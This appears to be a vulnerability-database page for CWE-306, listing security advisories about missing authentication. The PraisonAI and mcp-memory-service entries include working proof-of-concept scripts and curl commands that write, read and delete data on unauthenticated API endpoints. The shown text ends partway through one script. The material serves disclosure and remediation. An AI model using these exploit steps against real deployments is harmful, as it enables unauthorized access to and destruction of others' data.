Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3571 vulnerabilities reference this CWE, most recent first.

GHSA-83H6-22CP-F22W

Vulnerability from github – Published: 2022-05-24 17:16 – Updated: 2024-04-24 22:28
VLAI
Summary
TeamPass files are available without authentication
Details

TeamPass 2.1.27.36 allows an unauthenticated attacker to retrieve files from the TeamPass web root. This may include backups or LDAP debug files.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "nilsteampassnet/teampass"
      },
      "versions": [
        "2.1.27.36"
      ]
    }
  ],
  "aliases": [
    "CVE-2020-12478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T22:28:12Z",
    "nvd_published_at": "2020-04-29T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "TeamPass 2.1.27.36 allows an unauthenticated attacker to retrieve files from the TeamPass web root. This may include backups or LDAP debug files.",
  "id": "GHSA-83h6-22cp-f22w",
  "modified": "2024-04-24T22:28:12Z",
  "published": "2022-05-24T17:16:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nilsteampassnet/TeamPass/issues/2764"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nilsteampassnet/TeamPass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TeamPass files are available without authentication"
}

GHSA-83V7-HFMF-X8C4

Vulnerability from github – Published: 2025-09-30 18:30 – Updated: 2025-09-30 18:30
VLAI
Details

NVIDIA Delegated Licensing Service for all appliance platforms contains a vulnerability where an User/Attacker may cause an authorized action. A successful exploit of this vulnerability may lead to information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-23293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-30T18:15:49Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Delegated Licensing Service for all appliance platforms contains a vulnerability where an User/Attacker may cause an authorized action. A successful exploit of this vulnerability may lead to information disclosure.",
  "id": "GHSA-83v7-hfmf-x8c4",
  "modified": "2025-09-30T18:30:25Z",
  "published": "2025-09-30T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23293"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5705"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-23293"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-83XP-FG77-XFQQ

Vulnerability from github – Published: 2022-11-30 12:30 – Updated: 2022-12-02 00:30
VLAI
Details

A vulnerability classified as problematic has been found in SourceCodester Book Store Management System 1.0. This affects an unknown part of the file /bsms_ci/index.php/user/edit_user/. The manipulation of the argument password leads to information disclosure. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-214587.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-4228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-30T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability classified as problematic has been found in SourceCodester Book Store Management System 1.0. This affects an unknown part of the file /bsms_ci/index.php/user/edit_user/. The manipulation of the argument password leads to information disclosure. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-214587.",
  "id": "GHSA-83xp-fg77-xfqq",
  "modified": "2022-12-02T00:30:24Z",
  "published": "2022-11-30T12:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4228"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lithonn/bug-report/tree/main/vendors/oretnom23/bsms_ci/passwd-hash"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.214587"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.214587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8444-4FHQ-FXPQ

Vulnerability from github – Published: 2026-05-29 22:29 – Updated: 2026-05-29 22:29
VLAI
Summary
PraisonAI `deploy --type api` emits a Flask server with authentication disabled by default
Details

Summary

CVE-2026-44338 (GHSA-6rmh-7xcm-cpxj) documents that PraisonAI ships a code-generator (praisonai.deploy.api.generate_api_server_code) that emits a Flask API server with authentication disabled by default. Users who follow the documented quickstart (praisonai deploy --type api) get a server that:

  • binds to 0.0.0.0 per the recommended sample YAML
  • exposes /chat and /agents endpoints
  • runs praisonai.run() on user-supplied JSON input — LLM orchestration with the API key materials present in the process environment
  • does not require any authentication

The PyPI wheel praisonai==4.6.33 (current @latest) still ships the generator with auth_enabled defaulting to False. The fix shape is opt-in via APIConfig(auth_enabled=True, auth_token=...).

Details

Anchor (file:line:symbol)

  • Vulnerable artifact: praisonai==4.6.33 on PyPI.
  • Defaults: praisonai/deploy/models.py:29auth_enabled: bool = Field(default=False, ...); praisonai/deploy/models.py:30auth_token: Optional[str] = Field(default=None, ...).
  • Generator: praisonai/deploy/api.py:40AUTH_ENABLED = {config.auth_enabled}; api.py:41AUTH_TOKEN = {repr(config.auth_token)}; api.py:43-49def check_auth(): if not AUTH_ENABLED: return True.
  • CLI entry: documented as praisonai deploy --type api (vendor README); produces the generator output above with no flag required to suppress the warning, because no warning is emitted.

Vulnerable code (verbatim from installed wheel)

# praisonai/deploy/models.py (praisonai==4.6.33)
class APIConfig(BaseModel):
    host: str = Field(default="127.0.0.1", description="Server host")
    port: int = Field(default=8005, description="Server port")
    cors_enabled: bool = Field(default=True, description="Enable CORS")
    auth_enabled: bool = Field(default=False, description="Enable authentication")     # line 29
    auth_token: Optional[str] = Field(default=None, description="Authentication token") # line 30
# praisonai/deploy/api.py (praisonai==4.6.33)
code = f\'\'\'...
# Authentication
AUTH_ENABLED = {config.auth_enabled}      # False by default
AUTH_TOKEN   = {repr(config.auth_token)}  # None by default

def check_auth():
    if not AUTH_ENABLED:
        return True                       # short-circuit, accept all
    token = request.headers.get(\'Authorization\', \'\').replace(\'Bearer \', \'\')
    return token == AUTH_TOKEN
...
\'\'\'

A default invocation of the deploy command emits a server whose check_auth() short-circuits to True and accepts unauthenticated /chat, /agents POSTs.

PoC

#!/usr/bin/env python3
"""
legend-c420 PoC - PraisonAI 4.6.33 generates Flask API server with auth
disabled by default. Class H sibling of CVE-2026-44338.

Phase 1: reflect on praisonai.deploy.models.APIConfig defaults.
Phase 2: call generate_api_server_code(default config) and assert the
         emitted source contains AUTH_ENABLED = False and the
         short-circuit return.
Phase 3: re-run with auth_enabled=True, auth_token='s3cret-bearer-value'
         and confirm the emitted source flips to the secure shape.

Exit code 0 = PASS = vulnerable defaults confirmed.
"""
import sys, traceback

def phase1_dataclass_defaults():
    print("PHASE 1 - praisonai.deploy.models.APIConfig default values")
    from praisonai.deploy.models import APIConfig
    cfg = APIConfig()
    checks = [
        ("auth_enabled", cfg.auth_enabled, False),
        ("auth_token",   cfg.auth_token,   None),
    ]
    for name, observed, expected in checks:
        ok = observed == expected
        mark = "VULNERABLE" if name in ("auth_enabled","auth_token") and ok else "ok"
        print(f"  {name:14s} = {observed!r:18s}  (expected {expected!r})  [{mark}]")
        assert ok
    print("  >> APIConfig defaults reproduce the CVE-2026-44338 shape.")

def phase2_default_generator_emits_unauth():
    print("PHASE 2 - generate_api_server_code(default config) emits unauth server")
    from praisonai.deploy.models import APIConfig
    from praisonai.deploy.api import generate_api_server_code
    src = generate_api_server_code("agents.yaml", config=APIConfig())
    for needle in ["AUTH_ENABLED = False","AUTH_TOKEN = None","if not AUTH_ENABLED:","return True"]:
        assert needle in src, f"missing: {needle!r}"
        print(f"  [FOUND] {needle!r}")
    print("  >> Default-config generator emits Flask server with check_auth() short-circuit.")

def phase3_fix_shape_available():
    print("PHASE 3 - auth_enabled=True flips to secure shape")
    from praisonai.deploy.models import APIConfig
    from praisonai.deploy.api import generate_api_server_code
    cfg = APIConfig(auth_enabled=True, auth_token="s3cret-bearer-value")
    src = generate_api_server_code("agents.yaml", config=cfg)
    assert "AUTH_ENABLED = True" in src
    assert "AUTH_ENABLED = False" not in src
    print("  >> Fix shape works when toggled. Class H confirmed: default is insecure.")

def main():
    print("=" * 64)
    print("legend-c420 PoC - PraisonAI default-config AUTH_ENABLED=False")
    print("=" * 64)
    try:
        phase1_dataclass_defaults()
        phase2_default_generator_emits_unauth()
        phase3_fix_shape_available()
    except Exception:
        traceback.print_exc()
        print("FAIL"); sys.exit(2)
    print("PASS 3/3 phases. EXIT 0.")
    sys.exit(0)

if __name__ == "__main__":
    main()

PoC dependencies: praisonai==4.6.33 from PyPI. Tested on Python 3.11.

Run log verdict: PASS 3/3 phases. EXIT 0. — vulnerable-default shape confirmed. auth_enabled=False by default, check_auth() short-circuits to True, fix toggle exists but is opt-in.

Impact

An operator who runs the vendor-documented quickstart (pip install praisonai && praisonai deploy --type api) gets a network-reachable Flask server that invokes praisonai.run() on attacker-supplied JSON with the user's LLM API keys in the process environment. The attacker reaches arbitrary LLM-orchestration (including any tool-use the agents define, which in PraisonAI commonly includes python_repl, bash, file I/O, and HTTP calls), with the host's API-key credit billed to the operator.

  • Belief: CVE-2026-44338 was filed and triaged.
  • Reality: praisonai==4.6.33 is current @latest on PyPI (2026-05-16). The generator still defaults to auth_enabled=False.
  • Gap: The CVE acknowledges the fix shape exists. The fix is opt-in. The default-config consumer remains vulnerable.

Parent CVE: CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:29:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nCVE-2026-44338 (GHSA-6rmh-7xcm-cpxj) documents that PraisonAI ships a code-generator (`praisonai.deploy.api.generate_api_server_code`) that emits a Flask API server with authentication disabled by default. Users who follow the documented quickstart (`praisonai deploy --type api`) get a server that:\n\n- binds to `0.0.0.0` per the recommended sample YAML\n- exposes `/chat` and `/agents` endpoints\n- runs `praisonai.run()` on user-supplied JSON input \u2014 LLM orchestration with the API key materials present in the process environment\n- does not require any authentication\n\nThe PyPI wheel `praisonai==4.6.33` (current `@latest`) still ships the generator with `auth_enabled` defaulting to `False`. The fix shape is opt-in via `APIConfig(auth_enabled=True, auth_token=...)`.\n\n### Details\n\n**Anchor (file:line:symbol)**\n\n- Vulnerable artifact: `praisonai==4.6.33` on PyPI.\n- Defaults: `praisonai/deploy/models.py:29` \u2014 `auth_enabled: bool = Field(default=False, ...)`; `praisonai/deploy/models.py:30` \u2014 `auth_token: Optional[str] = Field(default=None, ...)`.\n- Generator: `praisonai/deploy/api.py:40` \u2014 `AUTH_ENABLED = {config.auth_enabled}`; `api.py:41` \u2014 `AUTH_TOKEN = {repr(config.auth_token)}`; `api.py:43-49` \u2014 `def check_auth(): if not AUTH_ENABLED: return True`.\n- CLI entry: documented as `praisonai deploy --type api` (vendor README); produces the generator output above with no flag required to suppress the warning, because no warning is emitted.\n\n**Vulnerable code (verbatim from installed wheel)**\n\n```python\n# praisonai/deploy/models.py (praisonai==4.6.33)\nclass APIConfig(BaseModel):\n    host: str = Field(default=\"127.0.0.1\", description=\"Server host\")\n    port: int = Field(default=8005, description=\"Server port\")\n    cors_enabled: bool = Field(default=True, description=\"Enable CORS\")\n    auth_enabled: bool = Field(default=False, description=\"Enable authentication\")     # line 29\n    auth_token: Optional[str] = Field(default=None, description=\"Authentication token\") # line 30\n```\n\n```python\n# praisonai/deploy/api.py (praisonai==4.6.33)\ncode = f\\\u0027\\\u0027\\\u0027...\n# Authentication\nAUTH_ENABLED = {config.auth_enabled}      # False by default\nAUTH_TOKEN   = {repr(config.auth_token)}  # None by default\n\ndef check_auth():\n    if not AUTH_ENABLED:\n        return True                       # short-circuit, accept all\n    token = request.headers.get(\\\u0027Authorization\\\u0027, \\\u0027\\\u0027).replace(\\\u0027Bearer \\\u0027, \\\u0027\\\u0027)\n    return token == AUTH_TOKEN\n...\n\\\u0027\\\u0027\\\u0027\n```\n\nA default invocation of the deploy command emits a server whose `check_auth()` short-circuits to `True` and accepts unauthenticated `/chat`, `/agents` POSTs.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nlegend-c420 PoC - PraisonAI 4.6.33 generates Flask API server with auth\ndisabled by default. Class H sibling of CVE-2026-44338.\n\nPhase 1: reflect on praisonai.deploy.models.APIConfig defaults.\nPhase 2: call generate_api_server_code(default config) and assert the\n         emitted source contains AUTH_ENABLED = False and the\n         short-circuit return.\nPhase 3: re-run with auth_enabled=True, auth_token=\u0027s3cret-bearer-value\u0027\n         and confirm the emitted source flips to the secure shape.\n\nExit code 0 = PASS = vulnerable defaults confirmed.\n\"\"\"\nimport sys, traceback\n\ndef phase1_dataclass_defaults():\n    print(\"PHASE 1 - praisonai.deploy.models.APIConfig default values\")\n    from praisonai.deploy.models import APIConfig\n    cfg = APIConfig()\n    checks = [\n        (\"auth_enabled\", cfg.auth_enabled, False),\n        (\"auth_token\",   cfg.auth_token,   None),\n    ]\n    for name, observed, expected in checks:\n        ok = observed == expected\n        mark = \"VULNERABLE\" if name in (\"auth_enabled\",\"auth_token\") and ok else \"ok\"\n        print(f\"  {name:14s} = {observed!r:18s}  (expected {expected!r})  [{mark}]\")\n        assert ok\n    print(\"  \u003e\u003e APIConfig defaults reproduce the CVE-2026-44338 shape.\")\n\ndef phase2_default_generator_emits_unauth():\n    print(\"PHASE 2 - generate_api_server_code(default config) emits unauth server\")\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.api import generate_api_server_code\n    src = generate_api_server_code(\"agents.yaml\", config=APIConfig())\n    for needle in [\"AUTH_ENABLED = False\",\"AUTH_TOKEN = None\",\"if not AUTH_ENABLED:\",\"return True\"]:\n        assert needle in src, f\"missing: {needle!r}\"\n        print(f\"  [FOUND] {needle!r}\")\n    print(\"  \u003e\u003e Default-config generator emits Flask server with check_auth() short-circuit.\")\n\ndef phase3_fix_shape_available():\n    print(\"PHASE 3 - auth_enabled=True flips to secure shape\")\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.api import generate_api_server_code\n    cfg = APIConfig(auth_enabled=True, auth_token=\"s3cret-bearer-value\")\n    src = generate_api_server_code(\"agents.yaml\", config=cfg)\n    assert \"AUTH_ENABLED = True\" in src\n    assert \"AUTH_ENABLED = False\" not in src\n    print(\"  \u003e\u003e Fix shape works when toggled. Class H confirmed: default is insecure.\")\n\ndef main():\n    print(\"=\" * 64)\n    print(\"legend-c420 PoC - PraisonAI default-config AUTH_ENABLED=False\")\n    print(\"=\" * 64)\n    try:\n        phase1_dataclass_defaults()\n        phase2_default_generator_emits_unauth()\n        phase3_fix_shape_available()\n    except Exception:\n        traceback.print_exc()\n        print(\"FAIL\"); sys.exit(2)\n    print(\"PASS 3/3 phases. EXIT 0.\")\n    sys.exit(0)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**PoC dependencies:** `praisonai==4.6.33` from PyPI. Tested on Python 3.11.\n\n**Run log verdict:** `PASS 3/3 phases. EXIT 0.` \u2014 vulnerable-default shape confirmed. `auth_enabled=False` by default, `check_auth()` short-circuits to `True`, fix toggle exists but is opt-in.\n\n### Impact\n\nAn operator who runs the vendor-documented quickstart (`pip install praisonai \u0026\u0026 praisonai deploy --type api`) gets a network-reachable Flask server that invokes `praisonai.run()` on attacker-supplied JSON with the user\u0027s LLM API keys in the process environment. The attacker reaches arbitrary LLM-orchestration (including any tool-use the agents define, which in PraisonAI commonly includes `python_repl`, `bash`, file I/O, and HTTP calls), with the host\u0027s API-key credit billed to the operator.\n\n- **Belief:** CVE-2026-44338 was filed and triaged.\n- **Reality:** `praisonai==4.6.33` is current `@latest` on PyPI (2026-05-16). The generator still defaults to `auth_enabled=False`.\n- **Gap:** The CVE acknowledges the fix shape exists. The fix is opt-in. The default-config consumer remains vulnerable.\n\n**Parent CVE:** CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj",
  "id": "GHSA-8444-4fhq-fxpq",
  "modified": "2026-05-29T22:29:20Z",
  "published": "2026-05-29T22:29:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8444-4fhq-fxpq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6rmh-7xcm-cpxj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI `deploy --type api` emits a Flask server with authentication disabled by default"
}

GHSA-84HP-MQVJ-3P8H

Vulnerability from github – Published: 2026-07-02 15:26 – Updated: 2026-07-02 15:26
VLAI
Summary
mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete
Details

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Summary

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

  • src/mcp_memory_service/web/api/documents.py:33from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
  • src/mcp_memory_service/web/api/documents.py:43router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

Route Line (source) Sink Line (sink)
POST /upload 149 storage.store(memory) 449
POST /batch-upload storage.store(memory)
GET /history upload metadata response
GET /search-content/{upload_id} 729 memory content response 781
DELETE /remove/{upload_id} storage deletion
DELETE /remove-by-tags 687 storage.delete_by_tags(tags) 705

The router is mounted in src/mcp_memory_service/web/app.py:311:

app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

  • Docker installed
  • Repository cloned at repo

Build and run the container

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized

# Write through document API — no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
    -F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
  python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
)
# → 200 OK

sleep 3
curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
# → content returned without authentication

# Delete by tag — no credentials
curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
  -H "Content-Type: application/json" -d '["cve-poc"]'
# → 200 OK, memories_deleted=1

Observed output

  • GET /api/memories (no auth) returns 401 — the authentication guard is demonstrably active on the memories API.
  • POST /api/documents/upload (no auth) returns 200 with a valid upload_id.
  • DELETE /api/documents/remove-by-tags (no auth) returns 200 with memories_deleted=1.
  • A subsequent authenticated GET /api/memories returns memories_remaining=0, confirming that legitimately stored data was destroyed by an unauthenticated request.

Remediation

Add Depends(require_write_access) / Depends(require_read_access) to every affected route in documents.py:

--- a/src/mcp_memory_service/web/api/documents.py
+++ b/src/mcp_memory_service/web/api/documents.py
-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
 from ..dependencies import get_storage
+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult

 async def upload_document(
     background_tasks: BackgroundTasks,
     file: UploadFile = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

 async def batch_upload_documents(
     background_tasks: BackgroundTasks,
     files: List[UploadFile] = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

-async def get_upload_status(upload_id: str):
+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):

-async def get_upload_history():
+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):

-async def remove_document(upload_id: str, remove_from_memory: bool = True):
+async def remove_document(upload_id: str, remove_from_memory: bool = True,
+    user: AuthenticationResult = Depends(require_write_access)):

-async def remove_documents_by_tags(tags: List[str]):
+async def remove_documents_by_tags(tags: List[str],
+    user: AuthenticationResult = Depends(require_write_access)):

-async def search_document_content(upload_id: str, limit: int = 1000):
+async def search_document_content(upload_id: str, limit: int = 1000,
+    user: AuthenticationResult = Depends(require_read_access)):

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of mcp-memory-service.

Who is impacted: Any operator who deploys the HTTP REST server (memory server --http) with MCP_API_KEY or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.

Confidentiality: An unauthenticated attacker can read recently uploaded document content via GET /api/documents/search-content/{upload_id} and enumerate upload history via GET /api/documents/history. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.

Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).

Availability: An unauthenticated attacker can delete all memories matching any chosen tags via DELETE /api/documents/remove-by-tags, or delete individual documents via DELETE /api/documents/remove/{upload_id}, causing permanent loss of stored data.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
ENV HF_HOME=/root/.cache/huggingface

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
 build-essential \
 && rm -rf /var/lib/apt/lists/*

# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI
RUN pip install --no-cache-dir \
 "torch>=2.0.0" \
 --index-url https://download.pytorch.org/whl/cpu

# Copy and install the mcp-memory-service from the local repo
COPY . /app
RUN pip install --no-cache-dir -e .

# Pre-download the sentence-transformers embedding model so the container
# can run fully offline and starts quickly
RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"

# ── Runtime config ──────────────────────────────────────────────────────────
# MCP_API_KEY is set to simulate a production deployment where the operator
# has enabled API-key authentication. The bug is that /api/documents/* routes
# ignore this key entirely.
ENV MCP_API_KEY=poc-secret-key-12345
ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec
ENV MCP_HTTP_PORT=8000
ENV MCP_HTTP_HOST=0.0.0.0
ENV MCP_MDNS_ENABLED=false
ENV MCP_CONSOLIDATION_ENABLED=false
ENV MCP_BACKUP_ENABLED=false
ENV MCP_QUALITY_SYSTEM_ENABLED=false
# Prevent any outbound HuggingFace requests at runtime
ENV TRANSFORMERS_OFFLINE=1
ENV HF_DATASETS_OFFLINE=1

EXPOSE 8000

CMD ["python", "run_server.py"]

poc.py

#!/usr/bin/env python3
"""
PoC – VULN-001: Missing Authentication on Document API Endpoints
CWE-306 Missing Authentication for Critical Function
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Attack chain:
 1. GET /api/memories (no auth) → 401 (auth guard confirmed active)
 2. POST /api/memories (with API key) → 200 (legitimate write)
 3. GET /api/memories (with API key) → 200 (data exists)
 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)
 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)
 6. GET /api/memories (with API key) → memory is GONE

Step 6 proves an unauthenticated attacker destroyed data created by a
legitimate, authenticated user — confirming full integrity impact.

Usage:
 python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]
"""

import sys
import time
import json
import uuid
import argparse
import http.client

MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()
TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"


# ─── low-level helpers ───────────────────────────────────────────────────────

def http_req(host, port, method, path, body=None, headers=None, timeout=20):
 conn = http.client.HTTPConnection(host, port, timeout=timeout)
 h = dict(headers or {})
 conn.request(method, path, body=body, headers=h)
 resp = conn.getresponse()
 return resp.status, resp.read().decode("utf-8", errors="replace")


def wait_ready(host, port, timeout=120):
 print(f"[*] Waiting for server at {host}:{port} …", flush=True)
 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 s, _ = http_req(host, port, "GET", "/api/health", timeout=2)
 if s == 200:
 print("[+] Server ready\n", flush=True)
 return True
 except Exception:
 pass
 time.sleep(1)
 return False


def build_multipart(boundary, filename, file_bytes, tags_str):
 b = boundary.encode()
 return b"".join([
 b"--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',
 b"Content-Type: /plain\r\n\r\n",
 file_bytes,
 b"\r\n--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="tags"\r\n\r\n',
 tags_str.encode(),
 b"\r\n--" + b + b"--\r\n",
 ])


# ─── individual test steps ───────────────────────────────────────────────────

def step_memories_no_auth(host, port):
 """GET /api/memories without auth must return 401."""
 print("[STEP 1] GET /api/memories (no auth — expect 401)", flush=True)
 status, body = http_req(host, port, "GET", "/api/memories")
 ok = (status == 401)
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)
 return ok, status


def step_store_memory_with_auth(host, port, api_key):
 """POST /api/memories with API key — store a 'legitimate' memory."""
 print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)
 payload = json.dumps({
 "content": f"Sensitive memory — {MARKER}",
 "tags": [TARGET_TAG, "vuln001-demo"],
 "memory_type": "observation",
 "metadata": {"poc": "VULN-001"}
 }).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(payload)),
 "X-API-Key": api_key,
 }
 status, body = http_req(host, port, "POST", "/api/memories", payload, headers)
 ok = status in (200, 201)
 content_hash = None
 try:
 content_hash = json.loads(body).get("content_hash")
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)
 if not ok:
 print(f" body: {body[:300]}", flush=True)
 return ok, status, content_hash


def step_verify_memory_exists(host, port, api_key):
 """GET /api/memories with auth — confirm the memory is stored."""
 print("[STEP 3] GET /api/memories (with API key — confirm data exists)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)
 return ok, status, count


def step_upload_no_auth(host, port):
 """POST /api/documents/upload without any credentials — should return 200."""
